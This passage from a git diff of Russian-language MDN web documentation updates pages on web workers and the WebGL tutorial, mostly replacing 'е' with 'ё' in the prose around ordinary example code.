token">// Этот script НЕ БУДЕТ анализироваться JS движками, потому что его MIME-тип text/js-worker.</span> <span class="keyword token">var</span> myVar <span class="operator token">=</span> <span class="string token">'Hello World!'</span><span class="punctuation token">;</span> - <span class="comment token">// </span></span></span></code>Остальная часть кода вашего воркера идет сюда.<code class="language-html"><span class="script token"><span class="language-javascript token"> + <span class="comment token">// </span></span></span></code>Остальная часть кода вашего воркера идёт сюда.<code class="language-html"><span class="script token"><span class="language-javascript token"> </span></span><span class="tag token"><span class="tag token"><span class="punctuation token"></</span>script</span><span class="punctuation token">></span></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span><span class="punctuation token">></span></span><span class="script token"><span class="language-javascript token"> <span class="comment token">// Этот script БУДЕТ проанализирован JS движкам, потому что его MIME-тип text/javascript.</span> @@ -560,7 +560,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]); <span class="function function-variable token">onmessage</span> <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">oEvent</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="function token">postMessage</span><span class="punctuation token">(</span>myVar<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span><span class="punctuation token">;</span> - <span class="comment token">// </span></span></span></code>Остальная часть кода вашего воркера идет сюда.<code class="language-html"><span class="script token"><span class="language-javascript token"> + <span class="comment token">// </span></span></span></code>Остальная часть кода вашего воркера идёт сюда.<code class="language-html"><span class="script token"><span class="language-javascript token"> </span></span><span class="tag token"><span class="tag token"><span class="punctuation token"></</span>script</span><span class="punctuation token">></span></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span><span class="punctuation token">></span></span><span class="script token"><span class="language-javascript token"> <span class="comment token">// Этот script БУДЕТ проанализирован JS движкам, потому что его MIME-тип text/javascript.</span> @@ -585,7 +585,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]); <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>html</span><span class="punctuation token">></span></span></code> </pre> -<div id="logDisplay">Встраиваемый worker теперь внесен в новое custom свойство <code>document.worker</code></div> +<div id="logDisplay">Встраиваемый worker теперь внесён в новое custom свойство <code>document.worker</code></div> <div></div> @@ -599,11 +599,11 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]); <h2 id="Другие_примеры">Другие примеры</h2> -<p>В этой секции представлено еще несколько примеров как использовать worker-ы.</p> +<p>В этой секции представлено ещё несколько примеров как использовать worker-ы.</p> <h3 id="Выполнение_вычислений_в_фоне">Выполнение вычислений в фоне</h3> -<p>Worker-ы в основном полезны для того, чтобы позволить вашему коду выполнять ресурсоемкие вычисления, не блокируя поток пользовательского интерфейса. В этом примере, worker используется для вычисления числа Фибоначчи.</p> +<p>Worker-ы в основном полезны для того, чтобы позволить вашему коду выполнять ресурсоёмкие вычисления, не блокируя поток пользовательского интерфейса. В этом примере, worker используется для вычисления числа Фибоначчи.</p> <h4 id="Код_JavaScript">Код JavaScript</h4> @@ -672,7 +672,7 @@ onmessage = function(event) { <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>body</span><span class="punctuation token">></span></span> <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>html</span><span class="punctuation token">></span></span></code></pre> -<p>Веб-страница создает элемент <code>div</code> с ID <code>result</code> , который используется для отображения результата, а затем порождает worker. После порождения worker-а, обработчик <code>onmessage</code> настроен для отображения результатов путем установки содержимого элемента <code>div</code>, и обработчик <code>onerror</code> настроен на <a href="/en-US/docs/Debugging_JavaScript#dump.28.29">выброс</a> сообщения об ошибке.</p> +<p>Веб-страница создаёт элемент <code>div</code> с ID <code>result</code> , который используется для отображения результата, а затем порождает worker. После порождения worker-а, обработчик <code>onmessage</code> настроен для отображения результатов путём установки содержимого элемента <code>div</code>, и обработчик <code>onerror</code> настроен на <a href="/en-US/docs/Debugging_JavaScript#dump.28.29">выброс</a> сообщения об ошибке.</p> <p>Наконец, сообщение отправляется worker-у, чтобы запустить его.</p> @@ -684,7 +684,7 @@ onmessage = function(event) { <h3 id="Разделение_задач_между_множественными_worker-ами">Разделение задач между множественными worker-ами</h3> -<p>Поскольку многоядерные компьютеры становятся все более распространенными, часто бывает полезно разделить вычислительно сложные задачи между несколькими worker-ами, которые затем могут выполнить эти задачи на многопроцессорных ядрах.</p> +<p>Поскольку многоядерные компьютеры становятся все более распространёнными, часто бывает полезно разделить вычислительно сложные задачи между несколькими worker-ами, которые затем могут выполнить эти задачи на многопроцессорных ядрах.</p> <h2 id="Другие_типы_worker-ов">Другие типы worker-ов</h2> diff --git a/files/ru/web/api/webgl_api/index.html b/files/ru/web/api/webgl_api/index.html index 6a35a2dda3..dc83c9b165 100644 --- a/files/ru/web/api/webgl_api/index.html +++ b/files/ru/web/api/webgl_api/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/WebGL_API --- <div>{{WebGLSidebar}}</div> -<p class="summary">WebGL (Web Graphics Library) - программная библиотека для языка JavaScript предназначенная для визуализации интерактивной трехмерной графики и двухмерной графики в пределах совместимости веб-браузера без использования плагинов. WebGL приносит в веб трехмерную графику, вводя API, который построен на основе OpenGL ES 2.0, что позволяет его использовать в элементах <a href="/en-US/docs/HTML/Canvas" title="en-US/docs/html/canvas"><code> canvas</code></a> HTML5 .</p> +<p class="summary">WebGL (Web Graphics Library) - программная библиотека для языка JavaScript предназначенная для визуализации интерактивной трёхмерной графики и двухмерной графики в пределах совместимости веб-браузера без использования плагинов. WebGL приносит в веб трёхмерную графику, вводя API, который построен на основе OpenGL ES 2.0, что позволяет его использовать в элементах <a href="/en-US/docs/HTML/Canvas" title="en-US/docs/html/canvas"><code> canvas</code></a> HTML5 .</p> <p>Поддержка WebGL присутствует в <a href="/en-US/Firefox" title="Firefox 4 for developers">Firefox</a> 4+, <a href="http://www.google.com/chrome/" title="http://www.google.com/chrome/">Google Chrome</a> 9+, <a href="http://www.opera.com/" title="http://www.opera.com/">Opera</a> 12+, <a href="http://www.apple.com/safari/" title="http://www.apple.com/fr/safari/">Safari </a>5.1+ и <a href="http://windows.microsoft.com/en-us/internet-explorer/browser-ie" title="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a> 11+. Однако помимо поддержки WebGL браузером, необходима также его поддержка графическим процессором клиента.</p> @@ -51,11 +51,11 @@ translation_of: Web/API/WebGL_API <dt><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">Официальный сайт WebGL</a></dt> <dd>Веб-сайт разработчиков WebGL - Khronos Group.</dd> <dt><a class="external" href="http://learningwebgl.com/blog/" title="http://learningwebgl.com/blog/">Изучение WebGL</a></dt> - <dd>Веб-сайт с уроками, посвященными использованию WebGL.</dd> + <dd>Веб-сайт с уроками, посвящёнными использованию WebGL.</dd> <dt><a href="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/" title="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/">Основы WebGL</a></dt> <dd>Учебные материалы по основным возможностям WebGL.</dd> <dt><a href="http://games.greggman.com/game/webgl-2d-matrices/">Матрицы в WebGL</a></dt> - <dd>Введение в использование матриц в двухмерной графике на WebGL. На этом ресурсе объясняется математическая основа перспективы в трехмерной графике.</dd> + <dd>Введение в использование матриц в двухмерной графике на WebGL. На этом ресурсе объясняется математическая основа перспективы в трёхмерной графике.</dd> <dt><a class="external" href="http://learningwebgl.com/cookbook/index.php/" title="http://learningwebgl.com/cookbook/index.php/">Советы по использованию WebGL</a></dt> <dd>Веб-сайт с советами по написанию кода на WebGL.</dd> <dt><a class="external" href="http://code.google.com/p/ewgl-matrices/" title="http://code.google.com/p/ewgl-matrices/">ewgl-matrices</a></dt> diff --git a/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html b/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html index 55ea7cad8c..4bafecab6d 100644 --- a/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html +++ b/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context <h2 id="Отрисовка_сцены">Отрисовка сцены</h2> -<p>На данном этапе очень важно понять одну вещь: не смотря на то, что мы в этом примере отрисовываем двухмерный объект, мы по-прежнему отрисовываем его в трехмерном пространстве. По существу, нам по-прежнему необходимо создать шейдеры, которые будут освещать нашу простую сцену, и отрисовать наш объект. На данном шаге определим как квадрат будет освещаться.</p> +<p>На данном этапе очень важно понять одну вещь: не смотря на то, что мы в этом примере отрисовываем двухмерный объект, мы по-прежнему отрисовываем его в трёхмерном пространстве. По существу, нам по-прежнему необходимо создать шейдеры, которые будут освещать нашу простую сцену, и отрисовать наш объект. На данном шаге определим как квадрат будет освещаться.</p> <h3 id="Инициализация_шейдеров">Инициализация шейдеров</h3> @@ -44,11 +44,11 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context <p>Этой процедурой загружаются две шейдерные программы. Первая - фрагментный шейдер, загружается из элемента <a href="/en/HTML/Element/Script" title="En/HTML/Element/Script"><code>script</code></a> с ID "shader-fs". Вторая - вершинный шейдер, загружается из элемента <a href="/en/HTML/Element/Script" title="En/HTML/Element/Script"><code>script</code></a> с ID "shader-vs". Мы рассмотрим функцию <code>getShader()</code> чуть ниже. Эта процедура фактически отвечает за извлечение шейдерных программ из DOM.</p> -<p>Затем мы создаем шейдерную программу, вызывая функцию <code>createProgram()</code> объекта WebGL, присоединяя два шейдера к нему, и связывая шейдерную программу. После выполнения этого, проверяется значение параметра <code>LINK_STATUS</code> объекта <code>gl</code> для того, чтобы убедиться, что программа успешно скомпонована. Если это так, мы активируем новую шейдерную программу.</p> +<p>Затем мы создаём шейдерную программу, вызывая функцию <code>createProgram()</code> объекта WebGL, присоединяя два шейдера к нему, и связывая шейдерную программу. После выполнения этого, проверяется значение параметра <code>LINK_STATUS</code> объекта <code>gl</code> для того, чтобы убедиться, что программа успешно скомпонована. Если это так, мы активируем новую шейдерную программу.</p> <h3 id="Загрузка_шейдеров_из_DOM">Загрузка шейдеров из DOM</h3> -<p>Функция <code>getShader()</code> получает из DOM шейдерную программу с определенным именем, возвращая скомпилированную шейдерную программу вызывающему, или значение null, если шейдерная программа не может быть загружена или скомпилирована.</p> +<p>Функция <code>getShader()</code> получает из DOM шейдерную программу с определённым именем, возвращая скомпилированную шейдерную программу вызывающему, или значение null, если шейдерная программа не может быть загружена или скомпилирована.</p> <pre class="brush: js">function getShader(gl, id) { var shaderScript, theSource, currentChild, shader; @@ -82,7 +82,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context return null; }</pre> -<p>После того, как код для шейдера считан, мы проверяем MIME тип шейдерного объекта, чтобы определить является он вершинным (MIME type "x-shader/x-vertex") или фрагментным (MIME type "x-shader/x-fragment") шейдером, а затем создаем соответствующий тип шейдера из полученного исходного кода.</p> +<p>После того, как код для шейдера считан, мы проверяем MIME тип шейдерного объекта, чтобы определить является он вершинным (MIME type "x-shader/x-vertex") или фрагментным (MIME type "x-shader/x-fragment") шейдером, а затем создаём соответствующий тип шейдера из полученного исходного кода.</p> <pre class="brush: js"> gl.shaderSource(shader, theSource); @@ -109,7 +109,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context <p>Каждый пиксель в полигоне называется <strong>фрагментом</strong> в языке GL. Фрагментные шейдеры необходимы для назначения цвета для каждого пикселя. В данном случае, мы просто назначаем белый цвет каждому пикселю.</p> -<p><code>gl_FragColor</code> - встроенная переменная GL, используемая для управления цветом фрагментов. Устанавливая ее значение назначаем цвет пикселям. Ниже приведен пример этого.</p> +<p><code>gl_FragColor</code> - встроенная переменная GL, используемая для управления цветом фрагментов. Устанавливая её значение назначаем цвет пикселям. Ниже приведён пример этого.</p> <pre class="brush: html"><script id="shader-fs" type="x-shader/x-fragment"> void main(void) { @@ -136,7 +136,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context <h2 id="Создание_объекта">Создание объекта</h2> -<p>Перед тем, как мы отрисуем наш квадрат, нам необходимо создать буфер, который содержит его вершины. Мы сделаем это, вызвав функцию <code>initBuffers().</code> По мере ознакомления с другими концепциями WebGL, эта функция будет усложняться при создании более сложных трехмерных объектов.</p> +<p>Перед тем, как мы отрисуем наш квадрат, нам необходимо создать буфер, который содержит его вершины. Мы сделаем это, вызвав функцию <code>initBuffers().</code> По мере ознакомления с другими концепциями WebGL, эта функция будет усложняться при создании более сложных трёхмерных объектов.</p> <pre class="brush: js">var horizAspect = 480.0/640.0; @@ -155,9 +155,9 @@ function initBuffers() { } </pre> -<p>В этом примере эта функция упрощена и дает оценить основную суть сцены. Она начинает работу с вызова метода <code>createBuffer()</code> объекта <code>gl</code> для получения буфера, в котором мы будем хранить вершины. Затем он привязывается к контексту, вызовом метода <code>bindBuffer()</code>.</p> +<p>В этом примере эта функция упрощена и даёт оценить основную суть сцены. Она начинает работу с вызова метода <code>createBuffer()</code> объекта <code>gl</code> для получения буфера, в котором мы будем хранить вершины. Затем он привязывается к контексту, вызовом метода <code>bindBuffer()</code>.</p> -<p>После того, как мы это сделали, мы создаем JavaScript массив, содержащий координаты для каждой вершины квадрата. Затем этот массив преобразуется в массив вещественных чисел WebGL и передается в метод <code>bufferData()</code> объекта <code>gl</code> для назначения вершин объекту.</p> +<p>После того, как мы это сделали, мы создаём JavaScript массив, содержащий координаты для каждой вершины квадрата. Затем этот массив преобразуется в массив вещественных чисел WebGL и передаётся в метод <code>bufferData()</code> объекта <code>gl</code> для назначения вершин объекту.</p> <h2 id="Отрисовка_сцены_2">Отрисовка сцены</h2> @@ -180,17 +180,17 @@ function initBuffers() { <p>Первый шаг - очистка цветом фона сцены контекста. Затем мы устанавливаем перспективу камеры. Мы устанавливаем угол обзора в 45°, с соотношением ширины к высоте равным 640/480 (размеры нашего объекта canvas). Мы также определяем, что мы хотим видеть отрисованными объекты на расстоянии от 0.1 до 100 единиц от камеры.</p> -<p>Затем мы устанавливаем позицию квадрата, загружая определенную позицию и размещая ее от камеры на 6 единиц. После этого, мы привязываем буфер, содержащий вершины квадрата к контексту, настраиваем его, и отрисовываем объект, вызывая метод <code>drawArrays()</code>.</p> +<p>Затем мы устанавливаем позицию квадрата, загружая определённую позицию и размещая её от камеры на 6 единиц. После этого, мы привязываем буфер, содержащий вершины квадрата к контексту, настраиваем его, и отрисовываем объект, вызывая метод <code>drawArrays()</code>.</p> -<p>Вы можете <a href="/samples/webgl/sample2" title="https://developer.mozilla.org/samples/webgl/sample2">посмотреть как это работает щелкнув по этой ссылке</a>. Но это только в том случае, если используемый браузер осуществляет поддержку WebGL.</p> +<p>Вы можете <a href="/samples/webgl/sample2" title="https://developer.mozilla.org/samples/webgl/sample2">посмотреть как это работает щёлкнув по этой ссылке</a>. Но это только в том случае, если используемый браузер осуществляет поддержку WebGL.</p> <h2 id="Операции_над_матрицами">Операции над матрицами</h2> <p>Операции над матрицами достаточно сложны. Никому бы не хотелось самому писать весь код для работы с ними. К счастью, есть <a class="external" href="http://sylvester.jcoglan.com/" title="http://sylvester.jcoglan.com/">Sylvester</a> - очень удобная библиотека для выполнения операций над векторами и матрицами, написанная на JavaScript.</p> -<p>Файл <code>glUtils.js</code>, используемый в этом примере, используется большинством примеров на WebGL, размещенных в сети интернет. Никто не знает точно откуда он появился. Он просто используется Sylvester и он даже пополняется методами для построения специальных типов матриц, а также вывода HTML для их отображения.</p> +<p>Файл <code>glUtils.js</code>, используемый в этом примере, используется большинством примеров на WebGL, размещённых в сети интернет. Никто не знает точно откуда он появился. Он просто используется Sylvester и он даже пополняется методами для построения специальных типов матриц, а также вывода HTML для их отображения.</p> -<p>Также, этот пример определяет несколько полезных процедур взаимодействия с этими библиотеками для выполнения определенных задач. Пояснения относительно того, что делает каждая из приведенных функций, выходят за рамки этого примера, но в сети есть много хороших материалов об операциях над матрицами. Чуть {{ anch("ниже") }} есть список некоторых из них.</p> +<p>Также, этот пример определяет несколько полезных процедур взаимодействия с этими библиотеками для выполнения определённых задач. Пояснения относительно того, что делает каждая из приведённых функций, выходят за рамки этого примера, но в сети есть много хороших материалов об операциях над матрицами. Чуть {{ anch("ниже") }} есть список некоторых из них.</p> <pre class="brush: js">function loadIdentity() { mvMatrix = Matrix.I(4); diff --git a/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html index 919d3fccff..af607e92cf 100644 --- a/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html +++ b/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html @@ -18,7 +18,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL <pre class="brush: js">var squareRotation = 0.0; </pre> -<p>Теперь нам надо изменить процедуру <code>drawScene()</code> и добавить в неё код, который бы учитывал этот угол поворота при отрисовке квадрата в нашей сцене. После первоначального расчета матрицы положения для квадрата мы применяем условия поворота следующим образом:</p> +<p>Теперь нам надо изменить процедуру <code>drawScene()</code> и добавить в неё код, который бы учитывал этот угол поворота при отрисовке квадрата в нашей сцене. После первоначального расчёта матрицы положения для квадрата мы применяем условия поворота следующим образом:</p> <pre class="brush: js">mvPushMatrix(); mvRotate(squareRotation, [1, 0, 1]); diff --git a/files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html index 0684b89016..f9390f7fe2 100644 --- a/files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html +++ b/files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html @@ -9,9 +9,9 @@ original_slug: Web/API/WebGL_API/Tutorial/Создание_3D_объектов_ --- <p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}</p> -<p>Давайте поместим наш квадрат в трехмерное пространство, добавив еще 5 граней, чтобы получить куб. Чтобы сделать это наиболее продуктивно, вместо рисования вершин непосредственным вызовом метода {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} , мы будем использовать массив вершин в виде таблицы и ссылаться на каждую вершину в этой таблице, чтобы определить положение каждой вершины грани, вызывая {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}.</p> +<p>Давайте поместим наш квадрат в трёхмерное пространство, добавив ещё 5 граней, чтобы получить куб. Чтобы сделать это наиболее продуктивно, вместо рисования вершин непосредственным вызовом метода {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} , мы будем использовать массив вершин в виде таблицы и ссылаться на каждую вершину в этой таблице, чтобы определить положение каждой вершины грани, вызывая {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}.</p> -<p>Заметим: чтобы определить каждую грань необходимо четыре вершины, но каждая вершина принадлежит трем граням. Мы можем передавать намного меньше данных, построив список всех 24-х вершин, затем ссылаться на каждую из них в этом списке по её индексу, вместо того чтобы передавать все множество вершин. Если вы удивлены, почему нам нужны 24 вершины, а не только 8, так это потому, что каждое ребро принадлежит трем граням разных цветов, и каждая отдельная вершина должна иметь конкретный отдельный цвет - поэтому мы создадим 3 копии каждой вершины трех разных цветов, по одной для каждой грани.</p> +<p>Заметим: чтобы определить каждую грань необходимо четыре вершины, но каждая вершина принадлежит трём граням. Мы можем передавать намного меньше данных, построив список всех 24-х вершин, затем ссылаться на каждую из них в этом списке по её индексу, вместо того чтобы передавать все множество вершин. Если вы удивлены, почему нам нужны 24 вершины, а не только 8, так это потому, что каждое ребро принадлежит трём граням разных цветов, и каждая отдельная вершина должна иметь конкретный отдельный цвет - поэтому мы создадим 3 копии каждой вершины трёх разных цветов, по одной для каждой грани.</p> <h2 id="Определение_позиций_вершин_куба">Определение позиций вершин куба</h2> diff --git a/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html index 0e50af82fa..c42db89750 100644 --- a/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html +++ b/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html @@ -7,9 +7,9 @@ translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL --- <p>{{WebGLSidebar("Tutorial")}} {{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}</p> -<p><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">WebGL</a> позволяет веб-контенту использовать API, основанный на <a class="external" href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0, для визуализации трехмерной графики без использования плагинов в HTML элементе <a class="internal" href="/en/HTML/Canvas" title="en/HTML/Canvas"><code>canvas</code></a> в браузерах, которые осуществляют его поддержку. WebGL программы состоят из кода управления, написанном на JavaScript и кода специальных эффектов (шейдерного кода), который выполняется на графическом процессоре. WebGL элементы могут быть смешаны с другими HTML элементами и собраны с другими частями веб-страницы или фоном веб-страницы.</p> +<p><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">WebGL</a> позволяет веб-контенту использовать API, основанный на <a class="external" href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0, для визуализации трёхмерной графики без использования плагинов в HTML элементе <a class="internal" href="/en/HTML/Canvas" title="en/HTML/Canvas"><code>canvas</code></a> в браузерах, которые осуществляют его поддержку. WebGL программы состоят из кода управления, написанном на JavaScript и кода специальных эффектов (шейдерного кода), который выполняется на графическом процессоре. WebGL элементы могут быть смешаны с другими HTML элементами и собраны с другими частями веб-страницы или фоном веб-страницы.</p> -<p>Эта статья знакомит вас с основами использования WebGL. Предполагается, что вы уже знакомы с математическими основами трехмерной графики. Данная статья не обучит вас OpenGL.</p> +<p>Эта статья знакомит вас с основами использования WebGL. Предполагается, что вы уже знакомы с математическими основами трёхмерной графики. Данная статья не обучит вас OpenGL.</p> <h2 id="Подготовка_к_визуализации_в_3D">Подготовка к визуализации в 3D</h2> @@ -24,7 +24,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL <h3 id="Подготовка_контекста_WebGL">Подготовка контекста WebGL</h3> -<p>Функция <code>start()</code>, в нашем JavaScript коде вызывается после загрузки документа. Ее назначение - настройка контекста WebGL и начать отрисовку содержимого.</p> +<p>Функция <code>start()</code>, в нашем JavaScript коде вызывается после загрузки документа. Её назначение - настройка контекста WebGL и начать отрисовку содержимого.</p> <pre class="brush: js">var gl; // глобальная переменная для контекста WebGL @@ -36,7 +36,7 @@ function start() { // продолжать только если WebGL доступен и работает if (gl) { - gl.clearColor(0.0, 0.0, 0.0, 1.0); // установить в качестве цвета очистки буфера цвета черный, полная непрозрачность + gl.clearColor(0.0, 0.0, 0.0, 1.0); // установить в качестве цвета очистки буфера цвета чёрный, полная непрозрачность gl.enable(gl.DEPTH_TEST); // включает использование буфера глубины gl.depthFunc(gl.LEQUAL); // определяет работу буфера глубины: более ближние объекты перекрывают дальние gl.clear(gl.COLOR_BUFFER_BIT|gl.DEPTH_BUFFER_BIT); // очистить буфер цвета и буфер глубины. @@ -44,13 +44,13 @@ function start() { } </pre> -<p>Первое, что мы здесь делаем - получаем ссылку на элемент canvas, помещаем ее в переменную <code>canvas</code>. Очевидно, что если вам не требуется многократно получать ссылку на canvas, вы должны избежать сохранения этого значения глобально, а только сохранить ее в локальной переменной или в поле объекта.</p> +<p>Первое, что мы здесь делаем - получаем ссылку на элемент canvas, помещаем её в переменную <code>canvas</code>. Очевидно, что если вам не требуется многократно получать ссылку на canvas, вы должны избежать сохранения этого значения глобально, а только сохранить её в локальной переменной или в поле объекта.</p> -<p>Как только мы получили ссылку на canvas, мы вызываем функцию <code>initWebGL()</code>; Эту функцию мы определяем незамедлительно, ее работа - инициализировать контекст WebGL.</p> +<p>Как только мы получили ссылку на canvas, мы вызываем функцию <code>initWebGL()</code>; Эту функцию мы определяем незамедлительно, её работа - инициализировать контекст WebGL.</p> -<p>Если контекст успешно инициализирован, в <code>gl</code> будет содержаться ссылка на него. В этом случае, мы устанавливаем цвет очистки буфера цвета (цвет фона) на черный, затем очищаем контекст этим цветом. После этого, контекст конфигурируется параметрами настройки. В данном случае, мы включаем буфер глубины и определяем, что более близкие объекты будут перекрывать более дальние.</p> +<p>Если контекст успешно инициализирован, в <code>gl</code> будет содержаться ссылка на него. В этом случае, мы устанавливаем цвет очистки буфера цвета (цвет фона) на чёрный, затем очищаем контекст этим цветом. После этого, контекст конфигурируется параметрами настройки. В данном случае, мы включаем буфер глубины и определяем, что более близкие объекты будут перекрывать более дальние.</p> -<p>Всё вышеперечисленное необходимо сделать только для первоначальной инициализации. Чуть позже мы увидим работу по визуализации трехмерных объектов.</p> +<p>Всё вышеперечисленное необходимо сделать только для первоначальной инициализации. Чуть позже мы увидим работу по визуализации трёхмерных объектов.</p> <h3 id="Создание_контекста_WebGL">Создание контекста WebGL</h3> @@ -80,19 +80,19 @@ function start() { <div class="note"><strong>Обратите внимание:</strong> Контекст, именуемый как "experimental-webgl" - это временное имя для контекста, используемое на время процесса разработки спецификации. После того, как спецификация будет полностью разработана будет использоваться только имя контекста "webgl".</div> -<p>На данном этапе этого кода достаточно, чтобы успешно инициализировать контекст WebGL, и вы увидите пустой черный блок, готовый к заполнению контентом.</p> +<p>На данном этапе этого кода достаточно, чтобы успешно инициализировать контекст WebGL, и вы увидите пустой чёрный блок, готовый к заполнению контентом.</p> -<p>Если ваш браузер поддерживает WebGL, то вы можете посмотреть результат выполнения приведенного выше кода, щелкнув по этой <a href="/samples/webgl/sample1/index.html" title="https://developer.mozilla.org/samples/webgl/sample1/index.html">ссылке</a>.</p> +<p>Если ваш браузер поддерживает WebGL, то вы можете посмотреть результат выполнения приведённого выше кода, щёлкнув по этой <a href="/samples/webgl/sample1/index.html" title="https://developer.mozilla.org/samples/webgl/sample1/index.html">ссылке</a>.</p> <h3 id="Изменение_размера_контекста_WebGL">Изменение размера контекста WebGL</h3> -<p>Новый контекст WebGL будет иметь возможность задания размеров области отображения в момент получения контекста путем задания высоты и ширины элемента canvas, без использования CSS. Редактирование стиля элемента canvas будет изменять его отображаемый размер, без изменения размеров области отрисовки. Редактирование атрибутов ширины и высоты элемента canvas после создания контекста не будет также изменять число пикселей для отрисовки. Чтобы изменить размер области отрисовки, с которой WebGL производит работу, например, когда пользователь изменяет размер окна на весь экран или когда вам необходимо менять настройки графики в самом приложении, вам необходимо вызвать контекстную функцию WebGL <code>viewport()</code>, чтобы подтвердить изменения.</p> +<p>Новый контекст WebGL будет иметь возможность задания размеров области отображения в момент получения контекста путём задания высоты и ширины элемента canvas, без использования CSS. Редактирование стиля элемента canvas будет изменять его отображаемый размер, без изменения размеров области отрисовки. Редактирование атрибутов ширины и высоты элемента canvas после создания контекста не будет также изменять число пикселей для отрисовки. Чтобы изменить размер области отрисовки, с которой WebGL производит работу, например, когда пользователь изменяет размер окна на весь экран или когда вам необходимо менять настройки графики в самом приложении, вам необходимо вызвать контекстную функцию WebGL <code>viewport()</code>, чтобы подтвердить изменения.</p> <p>Чтобы изменить размер области отрисовки контекста WebGL с переменными <code>gl</code> и <code>canvas</code>, использующимися в примере выше:</p> <pre class="brush: js">gl.viewport(0, 0, canvas.width, canvas.height);</pre> -<p>Элемент canvas будет изменять размер, в случае, если его отрисовать с другими размерами области отрисовки, чем те, что указаны в его стилях CSS, согласно которым он занимает место на экране. Изменение размера с помощью CSS наиболее полезно для сохранения ресурсов, отрисовывая с низким разрешением и позволяя браузеру растягивать полученный результат; сжимать возможно при использовании эффекта избыточной выборки сглаживания ( super sample antialiasing - SSAA) (приводит к менее приемлемым результатам и серьезным потерям производительности). В большинстве случаев лучше полагаться на множественную выборку сглаживания (<abbr style="line-height: 24px;" title='"Multisample'>MSAA) и </abbr>на реализацию алгоритмов фильтрации текстур, которые поддерживаются браузером пользователя, чем делать то же самое посредством грубой силы и надеяться, что алгоритм масштабирования изображений, используемый браузером, выдаст красивый результат.</p> +<p>Элемент canvas будет изменять размер, в случае, если его отрисовать с другими размерами области отрисовки, чем те, что указаны в его стилях CSS, согласно которым он занимает место на экране. Изменение размера с помощью CSS наиболее полезно для сохранения ресурсов, отрисовывая с низким разрешением и позволяя браузеру растягивать полученный результат; сжимать возможно при использовании эффекта избыточной выборки сглаживания ( super sample antialiasing - SSAA) (приводит к менее приемлемым результатам и серьёзным потерям производительности). В большинстве случаев лучше полагаться на множественную выборку сглаживания (<abbr style="line-height: 24px;" title='"Multisample'>MSAA) и </abbr>на реализацию алгоритмов фильтрации текстур, которые поддерживаются браузером пользователя, чем делать то же самое посредством грубой силы и надеяться, что алгоритм масштабирования изображений, используемый браузером, выдаст красивый результат.</p> <h3 id="Смотрите_также">Смотрите также</h3> diff --git a/files/ru/web/api/webgl_api/tutorial/index.html b/files/ru/web/api/webgl_api/tutorial/index.html index 9b0f0f75e6..88f55bf361 100644 --- a/files/ru/web/api/webgl_api/tutorial/index.html +++ b/files/ru/web/api/webgl_api/tutorial/index.html @@ -15,7 +15,7 @@ translation_of: 